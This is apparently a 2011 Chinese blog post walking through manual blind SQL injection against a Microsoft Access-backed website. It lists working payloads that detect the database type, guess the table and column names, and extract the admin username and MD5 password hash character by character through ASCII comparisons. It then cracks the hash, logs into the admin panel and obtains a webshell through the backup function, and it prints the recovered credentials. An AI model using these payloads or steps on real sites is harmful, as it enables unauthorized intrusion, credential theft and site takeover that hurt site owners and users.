首页 | 新闻 | 交流 | 问吧 | 文档 | 手册 | 下载 | 博客

一篇ACCESS手工注射的文章

作者:  时间: 2011-06-07

1.and user>0 判断数据库类型(虽然刚才工具中已经判断出来了,但为了学习嘛,

从最基本的来)

看到回显中的Microsoft JET Database*** 错误我们可以断定是ACCESS数据库了

2.and exists (select * from 表名) 猜解表名,返回错误说明表名不存在,返回正常说

明表名存在

这里我们输入 and exists (select * from admin)


返回正常,说明我们输入的表明admin存在

3.exists (select 列名 from 表名)   猜解列名,依然是返回错误说明列名不存在,返回

正常说明列名存在

这里我们输入 
and exists (select password from admin)
and exists (select adminname from admin)

返回正常,这样表名、列名就搞定了。

4.and (select top 1 len(列名) from 表名)>x 猜解列的长度。x是数字,列的长度,返

回错误说明正确列的长度就是x。变换top后的数字就可以猜解这个列的第N行长度了

这里我们输入 and (select top 1 len(adminname) from admin)>8 8错误,7不错,说

明8就是列的长度。


5.and (select top 1 asc(mid(列名,列数N,1)) from 表名)>x   关键步骤,猜解列内容。

top后的数字为该列的第N行,x为ASCII码,列数N就是在这一列中的第几个数字或字

母。例如,x取50正常,100错误,80正常,一直提交到96正常,97就错误,说明其

ASCII值为97

这里我们输入:and (select top 1 asc(mid(adminname,1,1)) from admin)>50

50正常 150错误,125错,110正常,115正常,120错。118正常,119错误,说明

第一位ASCII为119,转换下为w。


118回显正常

按照上面的方法,依次猜解出另外7位列内容,使用工具转换下。
第二位仍为119----w
第三位 25正常,50错误,48----g
第四位 48----0
第五位 46----.
第六位99-----c
第七位111-----o
第八位109------m

最终adminname列结果为 wg00.com

6.剩下的passwod列的内容猜解方法和上面一样。不过比较麻烦,需要耐心。因为一

般密码都是MD5加密了,需要猜解很多次。我这次就猜了16次,应该有其他的捷径,

希望高手看到不吝赐教。

and (select top 1 len(password) from admin)>16---16位MD5加密 猜解到password

列的长度为16为,16位MD5加密了。

password列的内容最终结果为:c6f4f454c781af4f 。去MD5加解密的网站查了一

下,结果和用户名一样:wg00.com。(好辛苦,幸亏MD5能解密出来,不然努力就

白费了)

7.使用默认的管理入口,输入辛苦猜解出来的用户名、密码,顺利登陆进去


后台有数据备份功能,简单拿下webshell,本次手工注入也得以结束!